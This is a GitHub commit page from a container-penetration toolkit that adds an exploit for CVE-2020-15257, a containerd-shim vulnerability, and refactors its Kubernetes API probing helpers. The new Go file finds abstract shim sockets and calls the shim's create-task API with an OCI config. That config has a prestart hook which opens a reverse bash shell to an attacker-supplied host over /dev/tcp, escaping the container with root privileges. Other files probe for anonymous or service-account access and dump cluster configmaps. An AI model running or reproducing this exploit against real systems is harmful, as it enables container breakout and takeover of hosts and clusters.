Skip to content

Commit

Permalink
add CVE-2020-15257 exploit
Browse files Browse the repository at this point in the history
  • Loading branch information
Xyntax committed Dec 14, 2020
1 parent 7ad2e40 commit 7afa190
Show file tree
Hide file tree
Showing 11 changed files with 623 additions and 128 deletions.
6 changes: 3 additions & 3 deletions cmd/cdk/cdk.go
Original file line number Diff line number Diff line change
@@ -1,11 +1,11 @@
package main

import (
"github.com/Xyntax/CDK/pkg/lib"
_ "github.com/Xyntax/CDK/pkg/exploit" // register all scripts
_ "github.com/Xyntax/CDK/pkg/evaluate" // register all scripts
_ "github.com/Xyntax/CDK/pkg/exploit" // register all scripts
"github.com/Xyntax/CDK/pkg/lib"
)

func main() {
lib.ParseDocopt()
lib.ParseCDKMain()
}
19 changes: 19 additions & 0 deletions go.mod
Original file line number Diff line number Diff line change
Expand Up @@ -3,16 +3,35 @@ module github.com/Xyntax/CDK
go 1.15

require (
github.com/Microsoft/go-winio v0.4.15 // indirect
github.com/Microsoft/hcsshim v0.8.10 // indirect
github.com/axgle/mahonia v0.0.0-20180208002826-3358181d7394
github.com/bkthomps/Ven v0.5.0
github.com/containerd/console v1.0.1 // indirect
github.com/containerd/containerd v1.4.3
github.com/containerd/continuity v0.0.0-20201119173150-04c754faca46 // indirect
github.com/containerd/fifo v0.0.0-20201026212402-0724c46b320c // indirect
github.com/containerd/ttrpc v1.0.2
github.com/containerd/typeurl v1.0.1 // indirect
github.com/davecgh/go-spew v1.1.1 // indirect
github.com/docker/go-events v0.0.0-20190806004212-e31b211e4f1c // indirect
github.com/docopt/docopt-go v0.0.0-20180111231733-ee0de3bc6815
github.com/gdamore/tcell v1.4.0
github.com/gogo/googleapis v1.4.0 // indirect
github.com/google/uuid v1.1.2 // indirect
github.com/hashicorp/go-multierror v1.1.0 // indirect
github.com/idoubi/goz v1.0.0
github.com/kr/pretty v0.2.0 // indirect
github.com/mitchellh/go-ps v1.0.0
github.com/opencontainers/go-digest v1.0.0 // indirect
github.com/opencontainers/image-spec v1.0.1 // indirect
github.com/opencontainers/runc v0.1.1 // indirect
github.com/opencontainers/selinux v1.6.0 // indirect
github.com/shirou/gopsutil/v3 v3.20.10
github.com/stretchr/testify v1.6.1
github.com/syndtr/gocapability v0.0.0-20200815063812-42c35b437635 // indirect
github.com/urfave/cli v1.22.5 // indirect
go.etcd.io/bbolt v1.3.5 // indirect
golang.org/x/sync v0.0.0-20201020160332-67f06af15bc9
golang.org/x/text v0.3.3 // indirect
gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15 // indirect
Expand Down
178 changes: 178 additions & 0 deletions go.sum

Large diffs are not rendered by default.

34 changes: 22 additions & 12 deletions pkg/evaluate/k8s-anonymous-login.go
Original file line number Diff line number Diff line change
Expand Up @@ -9,35 +9,45 @@ import (

func CheckK8sAnonymousLogin() bool {

// get api-server connection conf in ENV
addr,err := kubectl.ApiServerAddr()
if err != nil{
log.Println(err)
return false
}
fmt.Println("\tFind K8s api-server in ENV:", addr)

// check if api-server allows system:anonymous request
log.Println("checking if api-server allows system:anonymous request.")
resp := kubectl.ServerAccountRequest("", "get", addr, "")

resp := kubectl.ServerAccountRequest(
kubectl.K8sRequestOption{
TokenPath: "",
Server: "", // default
Api: "/",
Method: "get",
Args: "",
Anonymous: true,
})

if strings.Contains(resp, "/api") {
fmt.Println("\tcongrats, api-server allows anonymous request.")
log.Println("trying to list namespaces")

// check if system:anonymous can list namespaces
resp := kubectl.ServerAccountRequest("", "get", addr+"/api/v1/namespaces", "")
resp := kubectl.ServerAccountRequest(
kubectl.K8sRequestOption{
TokenPath: "",
Server: "", // default
Api: "/api/v1/namespaces",
Method: "get",
Args: "",
Anonymous: true,
})
if len(resp) > 0 && strings.Contains(resp, "kube-system") {
fmt.Println("\tsuccess, the system:anonymous role have a high authority.")
fmt.Println("\tnow you can make your own request to takeover the entire k8s cluster with `./cdk kcurl` command\n\tgood luck and have fun.")
return true
} else {
fmt.Println("\tfailed.")
fmt.Println("\tresponse:"+resp)
fmt.Println("\tresponse:" + resp)
return true
}
} else {
fmt.Println("\tapi-server forbids anonymous request.")
fmt.Println("\tresponse:"+resp)
fmt.Println("\tresponse:" + resp)
return false
}
}
35 changes: 18 additions & 17 deletions pkg/evaluate/k8s-service-account.go
Original file line number Diff line number Diff line change
Expand Up @@ -8,28 +8,29 @@ import (
)

func CheckK8sServiceAccount(tokenPath string) bool {

// get api-server connection conf in ENV
addr, err := kubectl.ApiServerAddr()
if err != nil {
log.Println(err)
return false
}

// check if we can login service-account with /run/secrets/kubernetes.io/serviceaccount/token
log.Println("trying to login service-account with", tokenPath)
token, err := kubectl.GetServiceAccountToken(tokenPath)
if err != nil {
fmt.Println("\terr: ", err)
return false // exit this script
}
resp := kubectl.ServerAccountRequest(token, "get", addr+"/apis", "")
resp := kubectl.ServerAccountRequest(
kubectl.K8sRequestOption{
TokenPath: "",
Server: "",
Api: "/apis",
Method: "get",
Args: "",
Anonymous: false,
})
if len(resp) > 0 && strings.Contains(resp, "APIGroupList") {
fmt.Println("\tservice-account is available")

// check if the current service-account can list namespaces
log.Println("trying to list namespaces")
resp := kubectl.ServerAccountRequest(token, "get", addr+"/api/v1/namespaces", "")
resp := kubectl.ServerAccountRequest(
kubectl.K8sRequestOption{
TokenPath: "",
Server: "",
Api: "/api/v1/namespaces",
Method: "get",
Args: "",
Anonymous: false,
})
if len(resp) > 0 && strings.Contains(resp, "kube-system") {
fmt.Println("\tsuccess, the service-account have a high authority.")
fmt.Println("\tnow you can make your own request to takeover the entire k8s cluster with `./cdk kcurl` command\n\tgood luck and have fun.")
Expand Down
183 changes: 183 additions & 0 deletions pkg/exploit/containerd-shim-pwn.go
Original file line number Diff line number Diff line change
@@ -0,0 +1,183 @@
package exploit

import (
"context"
"errors"
"github.com/Xyntax/CDK/pkg/lib"
"github.com/Xyntax/CDK/pkg/util"
shimapi "github.com/containerd/containerd/runtime/v1/shim/v1"
"github.com/containerd/ttrpc"
"io/ioutil"
"log"
"net"
"regexp"
"strings"
)

var configJson = `
{
"ociVersion": "1.0.1-dev",
"process": {
"terminal": true,
"user": {
"uid": 0,
"gid": 0
},
"args": [
"/bin/bash"
],
"env": [
"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
"HOSTNAME=b6cee9b57f3b",
"TERM=xterm"
],
"cwd": "/"
},
"root": {
"path": "/tmp"
},
"hostname": "b6cee9b57f3b",
"hooks": {
"prestart": [
{
"path": "/bin/bash",
"args": ["bash", "-c", "bash -i >& /dev/tcp/$RHOST$/$RPORT$ 0>&1"],
"env": ["PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"]
}
]
},
"linux": {
"resources": {
"devices": [
{
"allow": false,
"access": "rwm"
}
],
"memory": {
"disableOOMKiller": false
},
"cpu": {
"shares": 0
},
"blockIO": {
"weight": 0
}
},
"namespaces": [
{
"type": "mount"
},
{
"type": "network"
},
{
"type": "uts"
},
{
"type": "ipc"
}
]
}
}
`

func exp(sock,rhost,rport string) bool {
sock = strings.Replace(sock, "@", "", -1)
conn, err := net.Dial("unix", "\x00"+sock)
if err != nil {
log.Println(err)
return false
}

client := ttrpc.NewClient(conn)
shimClient := shimapi.NewShimClient(client)
ctx := context.Background()


// config.json file /run/containerd/io.containerd.runtime.v1.linux/moby/<id>/config.json
// rootfs path /var/lib/docker/overlay2/<id>/merged
bundlePath := "/tmp/config.json"
configJson = strings.Replace(configJson,"$RHOST$",rhost,-1)
configJson = strings.Replace(configJson,"$RPORT$",rport,-1)

err = ioutil.WriteFile(bundlePath, []byte(configJson), 0666)
if err != nil {
log.Println("failed to write file.", err)
return false
}

var M = shimapi.CreateTaskRequest{
ID: util.RandString(10), // needs to be different in each exploit
Bundle: "/tmp",
Terminal: true,
Stdin: "/dev/null",
Stdout: "/dev/null",
Stderr: "/dev/null",
}

info, err := shimClient.Create(ctx, &M)
if err != nil {
log.Println("rpc error:", err)
return false
}
log.Println("shim pid:", info.Pid)
return true
}

func getShimSockets() ([][]byte, error) {
re, err := regexp.Compile("@/containerd-shim/.*\\.sock")
if err != nil {
return nil, err
}
data, err := ioutil.ReadFile("/proc/net/unix")
matches := re.FindAll(data, -1)
if matches == nil {
return nil, errors.New("Cannot find vulnerable socket")
}
return matches, nil
}

func mainContainerdPwn(rhost string,rport string) {
matchset := make(map[string]bool)
socks, err := getShimSockets()
if err != nil {
log.Fatalln(err)
}
for _, b := range socks {
sockname := string(b)
if _, ok := matchset[sockname]; ok {
continue
}
log.Println("try socket:", sockname)
matchset[sockname] = true
if exp(sockname,rhost,rport) {
break
}
}
return
}

// plugin interface
type containerdShimPwnS struct{}

func (p containerdShimPwnS) Desc() string {
return "pwn CVE-2020-15257,start a privileged reverse shell to remote host. usage: ./cdk shim-pwn <RHOST> <RPORT>"
}
func (p containerdShimPwnS) Run() bool {
args := lib.Args["<args>"].([]string)
if len(args) != 2 {
log.Println("invalid input args.")
log.Fatal(p.Desc())
}
rhost := args[0]
rport := args[1]
log.Printf("tring to spawn shell to %s:%s\n",rhost,rport)
mainContainerdPwn(rhost,rport)
return true
}

func init() {
plugin := containerdShimPwnS{}
lib.Register("shim-pwn", plugin)
}
36 changes: 24 additions & 12 deletions pkg/exploit/k8s-configmap-dump.go
Original file line number Diff line number Diff line change
Expand Up @@ -10,26 +10,38 @@ import (
"strings"
)

var configmapApi = "/api/v1/configmaps"

func dumpK8sConfigmapSA(serverAddr string, tokenPath string) string {
token, err := kubectl.GetServiceAccountToken(tokenPath)
if err != nil {
log.Println("Error found when read K8s service-account token from ", tokenPath)
log.Println(err)
return ""
}
api := serverAddr + "/api/v1/configmaps"
log.Println("requesting ", api)
resp := kubectl.ServerAccountRequest(token, "get", api, "")
log.Println("requesting ", configmapApi)
resp := kubectl.ServerAccountRequest(
kubectl.K8sRequestOption{
TokenPath: tokenPath,
Server: serverAddr, // default
Api: configmapApi,
Method: "get",
Args: "",
Anonymous: false,
})

return resp
}

func dumpK8sConfigmapAnonymous(serverAddr string) string {
// make direct request to api-server REST API
// Ref https://github.com/kubernetes-client/python/blob/b79ad6837b2f5326c7dad488a64eed7c3987e856/kubernetes/README.md

api := serverAddr + "/api/v1/configmaps"
log.Println("requesting ", api)
resp := kubectl.ServerAccountRequest("", "get", api, "")
log.Println("requesting ", configmapApi)
resp := kubectl.ServerAccountRequest(
kubectl.K8sRequestOption{
TokenPath: "",
Server: serverAddr, // default
Api: configmapApi,
Method: "get",
Args: "",
Anonymous: true,
})

return resp
}

Expand Down
Loading

0 comments on commit 7afa190

Please sign in to comment.